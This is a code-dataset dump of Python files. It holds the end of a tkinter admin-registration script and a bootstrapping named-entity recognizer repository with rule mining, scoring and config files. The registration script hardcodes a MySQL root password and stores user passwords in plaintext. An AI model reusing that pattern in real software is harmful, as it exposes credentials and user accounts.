Entry(Login_Frame,bd=\"5\",textvariable=self.user_var,relief=GROOVE,font=(\"\",15)).grid(row=6,column=1,padx=0)\n\n pass_lbl = Label(Login_Frame, text=\"Password\", image=self.pass_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=6, column=3, padx=0,pady=0)\n txt_pass = Entry(Login_Frame, bd=\"5\", show = \"*\",textvariable=self.pass_var,relief=GROOVE, font=(\"\", 15)).grid(row=6, column=4, padx=0)\n\n btn_register = Button(Login_Frame,text=\"Register\",command=self.register,width=15,font=(\"times new roman\",15,\"bold\"),bg=\"white\",fg=\"Blue\").grid(row=8,columnspan=8,pady=10)\n\n\n def register(self):\n if self.name_var.get() == \"\" or self.mail_var.get()==\"\" or self.gender_var.get()==\"\" or self.contact_var.get()==\"\" or self.idtype_var.get()==\"\" or self.idnum_var.get()==\"\" or self.user_var.get()==\"\" or self.pass_var.get()==\"\":\n messagebox.showerror(\"Error\",\"! All fields are required !\")\n elif len(self.contact_var.get()) != 10:\n messagebox.showerror(\"Error\",\"! Contact number must be 10 digits !\")\n else:\n con = pymysql.connect(host='localhost',user=\"root\",password=\"Rishi@2705\",database=\"stm\")\n cur = con.cursor()\n cur.execute(\"insert into admins values(%s,%s,%s,%s,%s,%s,%s,%s)\",(\n self.name_var.get(),\n self.mail_var.get(),\n self.gender_var.get(),\n self.contact_var.get(),\n self.idtype_var.get(),\n self.idnum_var.get(),\n self.user_var.get(),\n self.pass_var.get()\n ))\n con.commit()\n self.clear()\n con.close()\n messagebox.showinfo(\"Success\",\"User registered successfully\")\n self.root.destroy()\n os.system(\"python3 login.py\")\n\n def clear(self):\n self.name_var.set(\"\"),\n self.mail_var.set(\"\"),\n self.gender_var.set(\"\"),\n self.contact_var.set(\"\"),\n self.idtype_var.set(\"\"),\n self.idnum_var.set(\"\"),\n self.user_var.set(\"\"),\n self.pass_var.set(\"\")\n\n\nroot = Tk()\nobj = Login_system(root)\nroot.mainloop()\n" } ]
4
ZhouYii/NE_Recognizer
https://github.com/ZhouYii/NE_Recognizer
03352690a8ef4829633c15d40495c8d5917c3f70
8a473b83a3e2c37eb0cac17280fadf1650a2621e
ef3d4443bc553f3402a8480f7292492182921d0f
refs/heads/master
2021-01-20T07:50:57.729130
2014-04-28T03:26:14
2014-04-28T03:26:14
19,165,668
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.521722137928009, "alphanum_fraction": 0.5258969068527222, "avg_line_length": 38.50515365600586, "blob_id": "4448b2dd48e25d29df2b33e86c5e813276640001", "content_id": "6219c74615aabe15a53e1b909c077690beb78b47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7665, "license_type": "no_license", "max_line_length": 84, "num_lines": 194, "path": "/state.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from document import Document\nfrom helper import *\nfrom os import listdir\nimport pickle\nimport re\nfrom NE_Recognizer import NE_Recognizer\nfrom nltk import word_tokenize\nfrom os.path import isfile, join\n\nclass State :\n def __init__(self) :\n self.corpus = []\n #self.add_corpus(\"text_extracted\")\n self.add_corpus(\"Raw\")\n print \"Load Corpus Done\"\n\n #From all iteration\n self.ne = dict()\n self.rules = dict()\n\n #Find inconsistent rules\n self.candidate_rules = dict()\n self.candidate_ne = dict()\n\n self.init_dict(\"PER\", \"PER.txt\")\n self.init_dict(\"ORG\", \"ORG.txt\")\n self.init_dict(\"LOC\", \"LOC.txt\")\n\n #Promote new things\n self.promoted = []\n\n self.ne_r = NE_Recognizer()\n for doc in self.corpus :\n self.ne_r.train_document(doc)\n self.name_dict = dict()\n for i in range(0, len(self.corpus)) :\n new_dict = self.ne_r.extract_names(self.corpus[i].tokens)\n self.name_dict = merge_name_dict(self.name_dict, new_dict)\n by_score = sorted(self.name_dict.items(), key=lambda x:x[1], reverse=True)\n by_score = [b for b in by_score if b[1] > 0.5 ]\n f = open(\"Out\", \"w\")\n for entry in by_score :\n f.write(str(entry[0])+'\\t'+str(entry[1])+'\\n')\n\n with open('ne_r.pickle', 'wb') as w:\n pickle.dump(self.ne_r, w)\n\n def get_type_and_score(self,rule) :\n if rule not in self.rules :\n return (\"None\", -1)\n maj_map = self.rules[rule]\n return (maj_map.get_type(), maj_map.get_max_score())\n\n def init_dict(self, label, filepath) :\n f = open(filepath, \"r\")\n for line in f :\n name = line.strip()\n #Represent NE as a list of tokens\n name = tuple(word_tokenize(name))\n self.ne[name] = Scorekeeper()\n # Put some large weight for the label since it's seed\n self.ne[name].positive_scoring(label, 99)\n\n def add_corpus(self, filepath) :\n onlyfiles = [ f for f in listdir(filepath) if isfile(join(filepath,f)) ]\n for f in onlyfiles :\n if f[-4:] != '.txt' :\n ''' All our training data is text files'''\n continue\n self.corpus.append(Document(filepath+\"/\"+f))\n\n def get_corpus(self) :\n return self.corpus\n\n def add_candidate_rules(self, ne, rules) :\n for rule in rules :\n ne_type = self.ne[ne].get_type()\n ne_score = self.ne[ne].get_max_score()\n if rule not in self.candidate_rules.keys() :\n self.candidate_rules[rule] = Scorekeeper()\n self.candidate_rules[rule].positive_scoring(ne_type, ne_score)\n\n def promotion_filter(self, item, dictionary, threshold) :\n # If any filter is true, ignore rule\n filters = [ # Do not promote suspiciously pure items\n #lambda r : dictionary[r].get_max_score() == 1.0,\n # Must meet certain support threshold\n #lambda r : dictionary[r].total < 100,\n # Must meet purity threshold\n lambda r : dictionary[r].get_max_score() < threshold,\n # Not previously promoted\n lambda r : r in self.promoted\n ]\n if filters[0](item) or filters[1](item):\n return False\n return True\n\n def promote_rules(self, threshold, max_to_promote) :\n def promote(rule_list) :\n for rule in rule_list :\n if rule in self.rules.keys() : \n self.rules[rule].merge(self.candidate_rules[rule])\n else :\n self.rules[rule] = self.candidate_rules[rule]\n self.promoted.append(rule)\n return rule_list\n\n rule_dict = self.candidate_rules\n print \"Rule Promotion Candidates :\"+str(self.candidate_rules)\n rules = sort_by_score(rule_dict)\n rules = [r for r in rules if self.promotion_filter(r, rule_dict, threshold)]\n rules = [r for r in rules if r not in self.promoted]\n print \"Filtered Rules :\"+str(rules)\n ret = promote(rules[:max_to_promote])\n #Clear candidate rules\n self.candidate_rules = dict()\n return ret\n\n def promote_ne(self, threshold, max_to_promote) :\n def promote(ne_list) :\n for name in ne_list :\n if name in self.ne.keys() :\n self.ne[name].merge(self.candidate_ne[name])\n else :\n self.ne[name] = self.candidate_ne[name]\n self.promoted.append(name)\n return ne_list\n\n ne_dict = self.candidate_ne\n print ne_dict.keys()\n ne_list = sort_by_score(ne_dict)\n ne = [ne for ne in ne_list if self.promotion_filter(ne, ne_dict, threshold)]\n ne = [ne for ne in ne_list if ne not in self.ne.keys()]\n ret = promote(ne_list[:max_to_promote])\n for item in ret :\n if item in self.promoted :\n print \"repromote\"\n self.candidate_ne = dict()\n return ret\n\n def find_ne(self) :\n def insert_candidate_ne(ne, rule_type, rule_score) :\n if len(ne) == 0 :\n return\n if ne not in self.candidate_ne.keys() :\n self.candidate_ne[ne] = Scorekeeper()\n self.candidate_ne[ne].positive_scoring(rule_type, rule_score)\n\n def distance_close(text, l_bound, r_bound) :\n if -1 == text[l_bound:r_bound].find('.') :\n return True\n return False\n def search_substring(text, query, traverse) :\n if query == \"\" :\n #Empty rule\n return traverse, traverse\n while traverse < len(text) :\n candidate_index = text.find(query, traverse)\n '''New traverse pointer should not point to same index\n as query to prevent infinite loop'''\n traverse = candidate_index+len(query)\n if candidate_index == -1 :\n return -1, len(text)\n if subword_filter(text, candidate_index, query) : \n return candidate_index, traverse\n return -1, len(text)\n self.candidate_ne = dict()\n #You only find new NE from newly promoted rules\n rule_list = self.rules\n for rule in rule_list :\n info = self.get_type_and_score(rule)\n rule_score, rule_type = info[1], info[0]\n for doc in self.corpus : \n text = doc.text\n traverse = 0\n while traverse < len(text) :\n l_bound, traverse= search_substring(text,rule[0],traverse)\n if l_bound == -1 :\n break\n r_bound, traverse = search_substring(text,rule[1],traverse)\n if r_bound == -1 :\n traverse = len(text)\n break\n ''' If rule parts are too distance or different sentences, do\n not count '''\n if not distance_close(text, l_bound, r_bound) :\n break\n ''' If the rule only specifies previous token, seek forward\n word. Otherwise, you find the wrong NE'''\n if len(rule[1]) == 0:\n ne = get_next_word(text, r_bound)\n else :\n ne = get_prev_word(text, r_bound)\n insert_candidate_ne(ne, rule_type, rule_score)\n\n" }, { "alpha_fraction": 0.6857143044471741, "alphanum_fraction": 0.6857143044471741, "avg_line_length": 16.5, "blob_id": "0d68137623ba2adb0ba16a71f03fe48ed15e5c23", "content_id": "446076c7ab79af4b76ce4918708e7b384dbdafca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 70, "license_type": "no_license", "max_line_length": 44, "num_lines": 4, "path": "/load.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "import pickle\n\nner = pickle.load(open(\"ne_r.pickle\", \"rb\"))\nprint ner\n" }, { "alpha_fraction": 0.5228216052055359, "alphanum_fraction": 0.5290456414222717, "avg_line_length": 27.235294342041016, "blob_id": "eeab96419963c41926c6bb59c013c645c32a3755", "content_id": "4be07741c43631a40f20630a2d146eed2508da27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 482, "license_type": "no_license", "max_line_length": 50, "num_lines": 17, "path": "/nameentity.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from helper import *\nfrom scorable import Scorable\n\nclass NameEntity(Scorable) :\n def __init__(self, tok_tuple, is_seed=False) :\n Scorable.__init__(self)\n self.name = tok_tuple\n self.mined_rules = None\n \n def init_seed(self, type) :\n self.is_seed = True\n self.total = 1\n for k in self.dictionary.keys() :\n if k == type :\n self.dictionary[k] = 1\n else :\n self.dictionary[k] = 0\n\n\n" }, { "alpha_fraction": 0.603960394859314, "alphanum_fraction": 0.603960394859314, "avg_line_length": 11.5, "blob_id": "b0a77cece89a260951e3693ca8ec5e4de34d5b52", "content_id": "e25f6dd608ca3cf3aa269ad0329a13c4721d746f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 101, "license_type": "no_license", "max_line_length": 22, "num_lines": 8, "path": "/RuleFactory.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "'''\nRule Factory Singleton\n'''\nfrom rule import Rule\n\ndef make_rule() :\n r = Rule()\n return r\n\n" }, { "alpha_fraction": 0.7264150977134705, "alphanum_fraction": 0.7594339847564697, "avg_line_length": 12.25, "blob_id": "4bdd3255e1d6dcdd284bb69a4f414da16e9a6775", "content_id": "ca3f3af1e76ffcd1f719fe91693249fbc571bc11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 212, "license_type": "no_license", "max_line_length": 26, "num_lines": 16, "path": "/config.ini", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "[Extraction Param]\nMinFreq: 4\n\n[StateInit]\nExtractorSeed: ne_r.pickle\nCorpusDir: Raw\n\n[SeedFiles]\nPER: PER.txt\nORG: ORG.txt\nLOC: LOC.txt\n\n[Promotion]\nPromotionThreshold: 0.7\nPurityMin: 0.7\nExtractPercentage: 0.5\n" }, { "alpha_fraction": 0.648542582988739, "alphanum_fraction": 0.6491031646728516, "avg_line_length": 23.438356399536133, "blob_id": "e3ab559f1bf0aaa4a108b9423a420d060d553516", "content_id": "31a01442b1f06453147424dd6b318ab3c6be191a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1784, "license_type": "no_license", "max_line_length": 76, "num_lines": 73, "path": "/state2.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "'''\nImplementation of State singleton\n'''\n\nimport ConfigParser\nfrom os import listdir\nfrom helper import *\nimport re\nimport RuleFactory\nfrom document import Document\nfrom nameentity import NameEntity\nfrom os.path import isfile, join\nimport pickle\nfrom nltk import word_tokenize\n\ncfg = ConfigParser.ConfigParser()\ncfg.read(\"config.ini\")\n\ncorpus = []\n\n# all_* data structures primarity for caching results\nall_rules = dict()\n# promoted_* data structure for recording promoted entities\npromoted_rules = []\nall_ne = dict()\npromoted_ne = []\n# name recognizer\nrecognizer = None\n\ndef init() :\n init_corpus()\n init_recognizer()\n\n for t in get_types():\n init_dict(t, cfg.get(\"SeedFiles\", t))\n\ndef init_corpus() :\n filepath = cfg.get('StateInit','CorpusDir')\n onlyfiles = [ f for f in listdir(filepath) if isfile(join(filepath,f)) ]\n for f in onlyfiles :\n if f[-4:] != '.txt' :\n ''' All our training data is text files'''\n continue\n corpus.append(Document(filepath+\"/\"+f))\n\ndef init_dict(label, filepath) :\n f = open(filepath, \"r\")\n for line in f :\n name = line.strip()\n #Represent NE as a list of tokens\n name = tuple(word_tokenize(name))\n ne = NameEntity(name, is_seed=True)\n ne.init_seed(label)\n all_ne[ne.name] = ne\n promoted_ne.append(ne.name)\n\ndef init_recognizer() :\n global recognizer\n filepath = cfg.get('StateInit', 'ExtractorSeed')\n recognizer = pickle.load(open(filepath, \"rb\"))\n print \"Recognizer:\"+str(recognizer)\n\ndef get_ne_object(name) :\n if not all_ne.has_key(name) :\n return None\n return all_ne[name]\n\ndef new_ne_object(name) :\n if not all_ne.has_key(name) :\n all_ne[name] = NameEntity(name)\n return all_ne[name]\n\ninit()\n" }, { "alpha_fraction": 0.5064708590507507, "alphanum_fraction": 0.5126928687095642, "avg_line_length": 34.45294189453125, "blob_id": "f1f696cff72ad063aecafaad1d77cd520259c9e8", "content_id": "cfb8b8f82ef8645f93927be8ce00397ad28a5a89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12054, "license_type": "no_license", "max_line_length": 102, "num_lines": 340, "path": "/ner_old.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from os import listdir\n#from textblob import TextBlob\nimport re\nfrom os.path import isfile, join\nINPUT = \"Raw\"\nLABELS = [\"PER\", \"LOC\", \"ORG\"]\n\n#PARAMETERS\nprom_thresh = 0.5 #To check if a rule is promoted or not\n\nCORPUS = []\n#DICTIONARIES\nPER_DICT = []\nORG_DICT = []\nLOC_DICT = []\n#PROMOTED RULES\nRULES = []\n#CANDIDATE RULES\nCR_PER = []\nCR_ORG = []\nCR_LOC = []\n#CANDIDATE NE\nCNE = dict()\n#CANDIDATE NE (Normalized on documents)\nCNE_DOC = dict()\n#SCORES\nNE_SCORES = dict()\nRULE_SCORES = dict()\n# Entities associated with a rule\nrule_entities = dict()\nentity_rules = dict()\n\nNE_TYPE = [(PER_DICT,CR_PER,\"PER\"), (ORG_DICT,CR_ORG,\"ORG\"), (LOC_DICT,CR_LOC,\"LOC\")] \ndef get_next_word(text, index) :\n buf = []\n #Stop if no following word\n if index+1 >= len(text) or text[index+1] == '.' :\n return \"\"\n index += 1\n while index < len(text) and unicode.isalnum(text[index]) :\n buf.append(unicode(text[index]))\n index += 1\n return \"\".join(buf)\n\ndef get_prev_word(text, index) :\n buf = []\n #Stop if no previous words\n if text[index-1] == '.' :\n return \"\"\n index -= 2\n while index > 0 and unicode.isalnum(text[index]) :\n buf.insert(0, unicode(text[index]))\n index -= 1\n return \"\".join(buf)\n\ndef reset() :\n #refresh candidate lists for new iteration\n CR_PER = []\n CR_ORG = []\n CR_LOC = []\n C_NE = dict()\n CNE_DOC = dict()\n\ndef subword_filter(text, index, word) :\n if unicode.isalnum(text[index-1]) or unicode.isalnum(text[index+len(word)]) :\n return False\n return True\n\nclass Document :\n def __init__(self, filepath) :\n f = open(filepath, \"r\")\n self.text = f.read()\n try :\n self.text = self.text.decode('utf-8')\n except UnicodeDecodeError :\n self.text=\"\"\n print \"failed\"\n f.close()\n\n def extract_np(self, rule) :\n result_set = []\n #Use this class for noun phrase\n blob = TextBlob(self.text)\n\n if rule.prefix == \"\" :\n print \"prefix\"\n indicies = [m.start() for m in re.finditer(rule.prefix, self.text)]\n '''Filter out matches which are substring matches (not true rule\n match)'''\n indicies = [index for index in indicies if subword_filter(self.text, index, rule.suffix)]\n '''Advance indicies so index = index of candidate NE'''\n indicies = [index + 1 for index in indicies]\n ''' For each noun phrase occurrence, if index corresponds with rule\n occurrence indicies, use np instead of single word in result set'''\n print list(blob.noun_phrases)\n for np in list(blob.noun_phrases) : \n traverse = 0\n for i in range(0, self.text.count(np)) :\n np_index = self.text.find(np, traverse)\n if np_index in indicies :\n indicies.remove(np_index)\n result_set.append(np)\n traverse = np_index + len(np)\n single_ne = [get_prev_word(self.text, index) for index in indicies]\n return result_set.extend(single_ne)\n\n if rule.suffix == \"\" :\n indicies = [m.start() for m in re.finditer(rule.prefix, self.text)]\n indicies = [index for index in indicies if subword_filter(self.text, index, rule.prefix)]\n indicies = [index + len(rule.prefix)+ 1 for index in indicies]\n for np in blob.noun_phrases : \n print np\n traverse = 0\n for i in range(0, self.text.count(np)) :\n np_index = self.text.find(np, traverse)\n if np_index in indicies :\n indicies.remove(np_index)\n result_set.append(np)\n traverse = np_index + len(np)\n print indicies\n single_ne = [get_next_word(self.text, index+len(rule.prefix)) for index in indicies]\n print single_ne\n return result_set.extend(single_ne)\n\n\n\n def extract(self, rule) :\n if rule.prefix == \"\" and rule.suffix == \"\" :\n return []\n if rule.prefix == \"\" :\n indicies = [m.start() for m in re.finditer(rule.suffix, self.text)]\n indicies = [index for index in indicies if subword_filter(self.text, index, rule.suffix)]\n return list(set([get_prev_word(self.text, index) for index in indicies]))\n if rule.suffix == \"\" :\n indicies = [m.start() for m in re.finditer(rule.prefix, self.text)]\n indicies = [index for index in indicies if subword_filter(self.text, index, rule.prefix)]\n return list(set([get_next_word(self.text, index+len(rule.prefix)) for index in indicies]))\n\n\n def find_rules(self,gazetteer, label) :\n count = 0\n rules = []\n for word in gazetteer :\n traverse = 0\n while traverse < len(self.text) :\n index = self.text.find(word, traverse)\n if index < 0 :\n traverse = len(self.text)\n break\n traverse = index+len(word)\n if unicode.isalnum(self.text[index-1]) or \\\n unicode.isalnum(self.text[index+len(word)-1]) :\n continue\n #count += 1\n #print count\n next_word = get_next_word(self.text, index+len(word))\n prev_word = get_prev_word(self.text, index)\n #print \"WORD:\"+word\n #print prev_word\n #print next_word\n if len(prev_word) > 3 :\n rules.append(Rule(label, prev_word, \"\"))\n add_rule_entity(rules[-1], word)\n if len(next_word) > 3 :\n rules.append(Rule(label, \"\", next_word))\n add_rule_entity(rules[-1], word)\n return rules\n\ndef add_rule_entity(rule, entity):\n if rule not in rule_entities:\n rule_entities[rule] = dict()\n if entity not in rule_entities[rule]:\n rule_entities[rule][entity] = 0\n rule_entities[rule][entity] += 1\n #print 'RULE ENTITIES'\n #print rule_entities\n\ndef add_entity_rule(entity, rule):\n if entity not in entity_rules:\n entity_rules[entity] = {}\n if rule not in entity_rules[entity]:\n entity_rules[entity][rule] = 0\n entity_rules[entity][rule] += 1\n\n\nclass Rule :\n def __init__(self, label, prefix, suffix) :\n self.label = label\n self.prefix = prefix if prefix != None else \"\"\n self.suffix = suffix if suffix != None else \"\"\n self.application = 0\n self.correct = 0\n self.wrong = 0\n\n def is_wrong(self) :\n self.wrong += 1\n self.application += 1\n\n def is_correct(self) :\n self.correct += 1\n self.application += 1\n\n def print_rule(self) :\n print self.prefix + \"<\"+self.label+\">\" + self.suffix\n\n# Candidate rules scored using dictionary entities\ndef score_rule(rule, rule_label):\n label_total = other_total = 0\n for ne in rule_entities[rule]:\n if get_nelabel(ne) == rule_label:\n label_total += NE_SCORES[ne]\n else:\n other_total += NE_SCORES[ne]\n\n RULE_SCORES[rule] = (label_total - other_total) / float(len(rule_entities[rule]))\n #print 'Score for ', rule.label + ' ' + rule.prefix + ' ' + rule.suffix + ' ', RULE_SCORES[rule]\n if RULE_SCORES[rule] >= prom_thresh:\n RULES.append(rule)\n\ndef get_nelabel(ne):\n for tup in NE_TYPE:\n if ne in tup[0]:\n return tup[2]\n\n# Candidate NEs scored using promoted rules\ndef score_ne(ne, ne_label):\n label_total = other_total = 0\n for rule in entity_rules[ne]:\n if rule.label == ne_label:\n label_total += 1\n else:\n other_total += 1\n\n NE_SCORES[ne] = (label_total - other_total) / float(len(entity_rules[ne]))\n if NE_SCORES[ne] > prom_thresh:\n add_to_dict(ne, ne_label)\n\ndef add_to_dict(ne, label):\n for pair in NE_TYPE:\n if label == pair[2]:\n pair[0].append(ne)\n #print 'Adding ', ne, 'to ', pair[2], 'with score ', NE_SCORES[ne]\n\n#startalgorithm\n# Initialize dictionary\nfor tup in [(PER_DICT,\"PER.txt\"),(ORG_DICT,\"ORG.txt\"),(LOC_DICT,\"LOC.txt\")] :\n dictionary, f = tup[0], open(tup[1],\"r\")\n for line in f :\n dictionary.append(line.strip())\n NE_SCORES[line.strip()] = 1.0\n\n#Initialize Corpus\nonlyfiles = [ f for f in listdir(INPUT) if isfile(join(INPUT,f)) ]\nfor f in onlyfiles :\n CORPUS.append(Document(INPUT+\"/\"+f))\n #print 'Adding size', len(CORPUS[-1].text)\n\n\nwith open('rules.txt', 'w') as fp:\n with open('NEs.txt', 'w') as fp1:\n for i in range(30):\n print 'iteration #', i\n fp.write('iteration '+str(i)+'\\n')\n fp1.write('iteration '+str(i)+'\\n')\n #generate global set of rules\n for doc in CORPUS :\n for pair in NE_TYPE :\n dictionary, candidate_rules, label = pair[0], pair[1], pair[2]\n #Generate candidate rules\n \n candidate_rules.extend(doc.find_rules(dictionary, label))\n #print len(candidate_rules)\n \n #Rule promotion\n for pair in NE_TYPE:\n candidate_rules = pair[1]\n for rule in candidate_rules:\n score_rule(rule, rule.label)\n \n print 'Promoted Rules...'\n for rule in RULES:\n s = (rule.label+'\\t'+rule.prefix+'\\t'+rule.suffix+'\\n')#+unicode(RULE_SCORES[rule])\n fp.write(s.encode('utf-8'))\n fp.write('\\n\\n')\n \n #print 'Promoted rules: ', RULES\n #print '\\n\\n\\n'\n \n \n #generate NE with document-level consistency\n for doc in CORPUS :\n for pair in NE_TYPE :\n dictionary, candidate_rules, label = pair[0], pair[1], pair[2]\n #print label\n # TODO : Change this to use known rules, not candidate\n #for rule in candidate_rules :\n for rule in RULES:\n #list of Names\n results = doc.extract(rule)\n results = [r for r in results if len(r) > 0]\n for r in results :\n if r not in CNE.keys() :\n CNE[r] = dict()\n # Key invariant\n CNE[r][\"PER\"] = []\n CNE[r][\"LOC\"] = []\n CNE[r][\"ORG\"] = []\n CNE[r][rule.label].append(rule)\n add_entity_rule(r, rule)\n #Make NE labels consistent across document\n for name in CNE.keys() :\n #Keep track of majority label type and count\n curr = (None, 0)\n for label in LABELS :\n if len(CNE[name][label]) > curr[1] :\n curr = (label, len(CNE[name][label]))\n #Reward and punish rules\n for rule in CNE[name][curr[0]] :\n rule.is_correct()\n for label in LABELS :\n if label is curr[0] :\n continue\n for rule in CNE[name][label] :\n rule.is_wrong()\n \n CNE_DOC[name] = curr[0]\n print CNE_DOC\n \n #Update NE scores\n print 'Updating NE scores...'\n for ne in CNE:\n for label in CNE[ne]:\n score_ne(ne, label)\n s = (ne +'\\t'+label+'\\n')#+unicode(NE_SCORES[ne])\n fp1.write(s.encode('utf-8'))\n fp1.write('\\n\\n')\n \n \n reset()\n print '\\n\\n\\n'\n" }, { "alpha_fraction": 0.547546923160553, "alphanum_fraction": 0.5523924827575684, "avg_line_length": 29.574073791503906, "blob_id": "2a623340c0046bb38fa74bdb086c025ef3c27411", "content_id": "a6acab41e718d8b12d87981cc8589d06be158838", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1651, "license_type": "no_license", "max_line_length": 82, "num_lines": 54, "path": "/scorable.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from helper import *\n\nclass Scorable :\n def __init__(self) :\n self.is_seed = False\n self.dictionary = dict()\n # Max : (max score, type responsible)\n self.max_type = None\n self.max_stale = True\n self.total = 0.0\n\n for t in get_types() :\n self.dictionary[t] = 0\n\n def add_score(self, key, val=1) :\n ''' Potentially skip all call where value (confidence) is within epsilon\n of 1/#types, to get rid of noise '''\n if self.is_seed : #Seed confidence is immutable\n return\n val = float(val)\n if not self.dictionary.has_key(key) :\n print(\"Adding score to unknown key: \"+str(key) )\n return\n self.max_stale = True\n self.dictionary[key] += val\n val = self.dictionary[key]\n self.total += val\n\n #Lower score for negative examples\n for t in get_types() :\n if t == key :\n continue\n self.dictionary[t] -= val\n\n def recalc_max_type(self) :\n ordered = sorted(self.dictionary.items(), key=lambda x:x[1], reverse=True)\n self.max_type = ordered[0][0]\n self.max_stale = False\n\n def merge_scores(self, other) :\n self.max_stale=True\n self.total += other.total\n for k in other.dictionary.keys() :\n self.dictionary[k] += other.dictionary[k]\n\n def get_score(self) :\n if self.max_stale :\n self.recalc_max_type()\n return self.dictionary[self.max_type]/self.total\n\n def get_type(self) :\n if self.max_stale :\n self.recalc_max_type()\n return self.max_type\n" }, { "alpha_fraction": 0.5418171882629395, "alphanum_fraction": 0.5459849834442139, "avg_line_length": 30.295652389526367, "blob_id": "8e190e0e315289fd84230f67d3a6e9986f14cf07", "content_id": "dbd70b27a7a5b94fbd5a61a08b274890211b5b28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3599, "license_type": "no_license", "max_line_length": 78, "num_lines": 115, "path": "/rule.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "from helper import *\nimport state2\nfrom scorable import *\n\nclass Rule(Scorable) :\n def __init__(self, fwd=None, rev=None) :\n ''' Sets all parameters to None, to distinguish between never-set and\n set-to-empty '''\n\n Scorable.__init__(self)\n self.found_by = set()\n self.fwd_window = fwd\n self.rev_window = rev\n\n self.matches_with_ne = 0\n self.total_matches = 0\n\n self.extracted_ne = None\n\n def __str__(self) :\n return \"Rule :\"+str(self.fwd_window)+\"/\"+str(self.rev_window)\n\n def __eq__(self, other) :\n if other == None :\n return False\n ret = True\n ret &= self.fwd_window == other.fwd_window\n ret &= self.rev_window == other.rev_window\n return ret\n\n def __hash__(self) :\n ''' Hash by constant and unique identifiers : meaning not any form of\n purity score '''\n h = (tuple(self.fwd_window), tuple(self.rev_window))\n return h.__hash__()\n\n def get_id(self) :\n ''' More memory efficient than just tuple '''\n return self.__hash__()\n\n def __ne__(self, other) :\n return not self == other\n\n def blank_rule(self) :\n r = Rule()\n return self == r\n\n def incr_score(self, name) :\n ''' Prevent double counting from the same named entity '''\n ne_obj = state2.all_ne[name]\n if name in self.found_by :\n return \n self.add_score(ne_obj.get_type(), ne_obj.get_score())\n\n def match_rev(self, seq, index) :\n if self.rev_window == None or len(self.rev_window) == 0 :\n return range(len(seq))\n\n if not index.has_key(self.rev_window[0]) :\n return []\n\n return self.match_seq(self.rev_window, seq, index)\n\n def match_fwd(self, seq, index) :\n if self.fwd_window == None or len(self.fwd_window) == 0 :\n return range(len(seq))\n\n if not index.has_key(self.fwd_window[0]) :\n return []\n\n candidates = self.match_seq(self.fwd_window, seq, index)\n # advance index point past the matched sequence\n candidates = [c+len(self.fwd_window) for c in candidates]\n return candidates\n\n def match_rule(self, seq, index) :\n fwd_matches = self.match_fwd(seq, index)\n rev_matches = self.match_rev(seq, index)\n boundary_pairs = []\n for f in fwd_matches :\n cont = False\n for r in rev_matches :\n if f < r :\n boundary_pairs.append((f,r))\n cont = True\n break\n if not cont :\n break\n return boundary_pairs\n \n def match_seq(self, target, seq, index) :\n candidates = index[target[0]]\n for i in range(1, len(target)) :\n tmp = index[target[i]]\n candidates = [c for c in candidates if c+i in target]\n return candidates\n\n def promotion_score(self) :\n purity_min = float(state2.cfg.get(\"Promotion\",\"PurityMin\"))\n extract_min = float(state2.cfg.get(\"Promotion\",\"ExtractPercentage\"))\n\n if purity_min > self.get_score() or \\\n self.extracted_ne == None or \\\n extract_min > self.matches_with_ne/float(self.total_matches) :\n return 0\n\n return self.get_score()\n\n def score_candidate_ne(self) :\n ne_list = self.extracted_ne\n if ne_list == None or len(ne_list) == 0 :\n return\n for ne in ne_list :\n ne_obj = state2.new_ne_object(ne)\n ne_obj.add_score(self.get_type(),self.get_score())\n" }, { "alpha_fraction": 0.5568181872367859, "alphanum_fraction": 0.5671247243881226, "avg_line_length": 37.6020393371582, "blob_id": "a086ab53d1f220464bad2ba4579862f232467474", "content_id": "bba366eb81b751e98427ce0ff51e42c76c247f8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3784, "license_type": "no_license", "max_line_length": 84, "num_lines": 98, "path": "/run.py", "repo_name": "ZhouYii/NE_Recognizer", "src_encoding": "UTF-8", "text": "import state2\ndef mine_rules() :\n result_set = set()\n for doc in state2.corpus :\n for ne in state2.promoted_ne :\n ne_obj = state2.get_ne_object(ne)\n if ne_obj != None and ne_obj.mined_rules != None:\n #Calculation already been done\n precomputed_rules = [r for r in ne_obj.mined_rules \\\n if r not in state2.promoted_rules]\n rules_hashes = [r.get_id() for r in precomputed_rules]\n result_set.union(rules_hashes)\n else :\n found_rules = doc.find_rules(ne)\n if len(found_rules) == 0 :\n continue\n ne_obj = state2.new_ne_object(ne)\n ne_obj.mined_rules = found_rules\n for r in found_rules :\n if not state2.all_rules.has_key(r.get_id()) :\n state2.all_rules[r.get_id()] = r\n state2.all_rules[r.get_id()].incr_score(ne)\n result_set.add(r.get_id())\n \n # Only consider new rules for promotion\n result_set = [r for r in result_set if r not in state2.promoted_rules]\n return result_set\n\ndef mine_ne() :\n all_ne = set()\n for rule_id in state2.promoted_rules :\n rule_obj = state2.all_rules[rule_id]\n names = rule_obj.extracted_ne\n names = [n for n in names if n not in state2.promoted_ne]\n for n in names :\n all_ne.add(n)\n return 